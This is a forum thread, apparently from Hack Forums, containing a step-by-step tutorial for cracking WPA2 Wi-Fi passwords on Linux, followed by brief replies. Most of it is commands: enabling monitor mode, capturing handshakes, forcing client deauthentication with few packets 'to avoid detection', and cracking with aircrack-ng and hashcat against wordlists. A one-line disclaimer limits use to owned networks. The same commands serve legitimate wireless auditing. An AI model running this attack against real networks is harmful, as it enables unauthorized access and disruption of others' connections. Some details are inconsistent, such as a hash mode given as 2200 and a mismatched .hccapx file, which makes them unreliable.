

Forum:[Hack Forums](#)

Thread: [WPA2 Cracking Tutorial](#)

0xElPadrino - August 7, 2025, 4:24 pm

? Simple Linux WPA2 Cracking Tutorial (Updated)

By 0xElPadrino

Recommended USB Wi-Fi adapter

[TP-Link Archer T3U Plus](#) – dual band AC1300 very stable Linux support packet injection & monitor mode ready

Open your shell

1) Verify & Install Drivers List USB devices

Code lsusb

Your adapter should appear as “Realtek Semiconductor Corp RTL88x2bu” or similar

Check for monitor-mode support

Code sudo iw list | grep -A10 'Supported interface modes'

Look for “monitor” under Supported interface modes. If missing look below

Install kernel headers (if not already)

Code sudo apt update && sudo apt install linux-headers-\$(uname -r)

Compile & install Realtek driver via DKMS

Code sudo apt update

sudo apt install build-essential dkms git

git clone https://github.com/aircrack-ng/rtl88x2bu.git

cd rtl88x2bu

sudo make dkms_install

sudo modprobe -r 88x2bu

sudo modprobe 88x2bu

sudo dkms status

- build-essential -> compilers & headers
- dkms -> rebuilds driver on kernel updates
- git -> fetches source repo

This ensures your RTL8822BU chipset supports monitor & injection

Unblock WiFi if needed

Code rfkill unblock wifi

2) Switch to Monitor Mode Stop interfering services

Code `sudo airmon-ng check kill` ? Warning: may drop SSH or remote sessions or
Code `sudo systemctl stop NetworkManager`
`sudo systemctl stop wpa_supplicant`

Enable monitor mode automatically

Code `sudo airmon-ng start wlan0`

If it creates `wlan0mon`, use that in later steps otherwise your card flips to monitor mode on `wlan0`

Manual method (ip/iw)

If `wlan0mon` doesn't appear, run:

Code `sudo ip link set wlan0 down`

`sudo iw dev wlan0 set type monitor`

`sudo ip link set wlan0 up`

Your interface remains named `wlan0` in monitor mode

Verify monitor mode

If you have `wlan0mon`:

Code `iwconfig wlan0mon`

Otherwise (manual):

Code `iwconfig wlan0`

Both should show Mode Monitor

3) Discover Nearby Networks Scan for APs with `airodump-ng`

Code `sudo airodump-ng wlan0mon`

(if using manual replace `wlan0mon` with `wlan0`)

Shows:

- BSSID -> AP MAC address
- PWR -> signal strength
- CH -> channel
- ENC/CIPHER/AUTH -> encryption (we want WPA2 CCMP PSK)
- ESSID -> network name

Note target details

Choose AP with good signal & WPA2 CCMP PSK. Record its BSSID (e.g. AA:BB:CC:DD:EE:FF) and CH (e.g. 6)

4) Capture the WPA2 Handshake Start focused capture

Code `sudo airodump-ng --bssid <BSSID> -c <CH> -w handshake-01 wlan0mon`

(if manual use `wlan0`)

Writes packets to `handshake-01.cap`

Force a new handshake

Code `sudo aireplay-ng --deauth 3 -a <BSSID> wlan0mon`

(if manual use `wlan0`)

- Fewer packets (3) to avoid detection

- Add Code -d <CLIENT_MAC> to target specific client

Confirm capture

In the airodump-ng window's top right you'll see "WPA handshake: <BSSID>" once complete

5) Crack the Handshake Install & prepare wordlists

Code sudo apt update

sudo apt install wordlists

sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

Consider also SecLists or custom lists via cewl

Convert for GPU (optional)

Code sudo apt install hashcat hcxtools

hcxpcaptool -o handshake.22000 handshake-01.cap

Produces .22000 format for Hashcat v6+

Run cracking (CPU)

Code sudo aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txt

Run cracking (GPU)

Code hashcat -m 22000 handshake.22000 rockyou.txt

Quick workflow validation

Code echo "YourNetworkPasswordHere" > quicklist.txt

sudo aircrack-ng handshake-01.cap -w quicklist.txt

One entry list confirms handshake validity

6) Deep Dive and Next Steps Use crunch to craft SSID-based wordlists

Inspect EAPOL frames in Wireshark/tshark

Explore WPA3 SAE labs (Simultaneous Authentication of Equals)

Convert to WPA3 .22000 and test SAE handshake resilience

Deploy FreeRADIUS + hostapd for WPA2-Enterprise (EAP-TLS, PEAP, 802.1X)

Stay current on kernel & driver updates for monitor/injection support

Troubleshooting Tips If no packets ensure wlan0mon (or wlan0) isn't managed

Code sudo systemctl stop NetworkManager wpa_supplicant

If deauths fail adjust count or target client MAC

Filter only EAPOL frames

Code `tshark -r handshake-01.cap -Y "eapol" -w filtered.cap`

Offload cracking to GPU

Code `hashcat -m 22000 filtered.hccapx rockyou.txt`

Test alternative adapters (eg Alfa AWUS036ACH) if drivers break after updates

? Disclaimer

Only test networks you own or have explicit permission to audit unauthorized cracking is illegal

Stay curious stay ethical stay blessed and happy hacking!

Simple knowledge for some but others it may help trying to bring more value to hack forums ;)

took me like 20 mins to write and format this QL appreciated so I can get the award ASAP!

thanks friends :)

pasnger57 - August 7, 2025, 4:42 pm

Verry Nce Tort

il note that mode 2500 is Out date and 2200 is now the go to

0xEIPadrino - August 7, 2025, 5:00 pm

(Aug 7, 2025 04:42 PM)pasnger57 Wrote: [\[CITE\]](#) Verry Nce Tort

il note that mode 2500 is Out date and 2200 is now the go to

Updated

oiooooo - October 1, 2025, 4:05 pm

stay hydrated